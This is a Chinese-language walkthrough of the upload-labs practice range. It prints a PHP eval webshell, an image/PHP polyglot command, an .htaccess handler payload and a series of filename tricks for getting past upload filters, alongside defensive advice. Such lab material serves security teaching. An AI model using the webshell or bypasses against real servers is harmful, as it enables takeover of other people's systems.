【文件上传入门】upload-labs靶场大闯关(持续更新ing)
字数 1714 2025-08-10 12:18:01
Upload-Labs 文件上传漏洞靶场通关指南
实验准备
环境要求
- 操作系统:Windows Server 2008
- 集成环境:phpstudy
- 靶场:upload-labs
- 工具:
- 浏览器:火狐浏览器
- WebShell管理工具:蚁剑
- 抓包改包工具:Burp Suite
- 编辑器:010editor
环境搭建
- 下载upload-labs安装包
- 解压后将文件夹复制到phpstudy的WWW目录下
- 启动phpstudy
- 通过浏览器访问靶场
WebShell准备
<?php
phpinfo();
@eval($_POST[666]);
?>
phpinfo():打印PHP信息@符号:抑制错误信息显示eval():执行字符串中的PHP代码$_POST[666]:接收POST参数"666"的值
Pass-01:前端JS验证绕过
漏洞分析
前端JavaScript代码检查上传文件后缀名,只允许.jpg|.png|.gif格式。
关键代码:
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
var allow_ext = ".jpg|.png|.gif";
var ext_name = file.substring(file.lastIndexOf("."));
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
绕过方法
方法1:禁用JavaScript
- 在火狐浏览器地址栏输入
about:config - 找到
javascript.enabled,设置为false禁用JS - 刷新网页后上传PHP文件
- 上传成功后复制图像链接访问
- 使用蚁剑连接
- 完成后重新启用JavaScript
方法2:删除浏览器事件
- 右键检查上传按钮元素
- 找到调用
checkFile()的事件处理代码 - 删除相关事件处理代码
- 直接上传PHP文件
方法3:Burp Suite改包
- 将WebShell文件后缀改为
.jpg - 配置浏览器和Burp Suite代理
- 开启Burp拦截模式
- 上传
.jpg文件,Burp拦截请求 - 修改请求中的文件后缀为
.php - 放行请求完成上传
方法4:图片马+文件包含
- 制作图片马:
copy /b test.jpg + test.php shell.jpg - 上传图片马文件
- 利用文件包含漏洞执行图片马中的PHP代码:
http://127.0.0.1/upload-labs/include.php?file=upload/shell.jpg
修复建议
不要仅依赖前端验证,因为:
- 前端代码在用户浏览器执行,用户可完全控制
- 攻击者可轻易绕过前端验证
- 必须结合服务器端验证
后续关卡关键点(简要)
Pass-02:MIME类型验证
- 检查
Content-Type是否为图片类型 - 绕过方法:Burp修改
Content-Type为image/jpeg
Pass-03:黑名单验证
- 禁止上传
.asp|.aspx|.php|.jsp等后缀 - 绕过方法:
- 使用不常见的PHP后缀:
.php3,.phtml - 利用大小写:
.Php - 利用Windows特性:
test.php.(末尾加点)
- 使用不常见的PHP后缀:
Pass-04:.htaccess利用
- 黑名单过滤更严格
- 绕过方法:
- 上传
.htaccess文件:AddType application/x-httpd-php .jpg - 上传包含PHP代码的
.jpg文件
- 上传
Pass-05:后缀名大小写
- 过滤规则不区分大小写
- 绕过方法:使用
.pHp等大小写混合后缀
Pass-06:后缀名空格绕过
- Windows系统会忽略文件名末尾空格
- 绕过方法:上传
test.php(注意末尾空格)
Pass-07:点绕过
- Windows系统会忽略文件名末尾的点
- 绕过方法:上传
test.php.
Pass-08:::$DATA绕过
- Windows NTFS文件系统特性
- 绕过方法:上传
test.php::$DATA
Pass-09:路径拼接绕过
- 未正确处理文件名中的点
- 绕过方法:上传
test.php. .
Pass-10:双写后缀绕过
- 简单替换
php为空 - 绕过方法:上传
test.pphphp,处理后变为test.php
通用防御措施
- 文件上传目录设置为不可执行
- 使用白名单验证文件类型
- 检查文件内容而不仅是扩展名
- 重命名上传文件
- 限制文件大小
- 使用安全的文件处理函数
- 单独设置上传目录的权限
- 对图片文件进行二次渲染
高级绕过技巧
- 条件竞争:利用服务器处理上传文件的短暂时间差
- 特殊字符截断:利用
%00等特殊字符截断 - XML注入:针对XML文件上传的XXE攻击
- ZIP/RAR文件:上传包含恶意代码的压缩包
- SVG文件:利用SVG中的JavaScript执行代码
通过系统性地学习upload-labs靶场,可以全面掌握文件上传漏洞的各种利用方式和防御方法。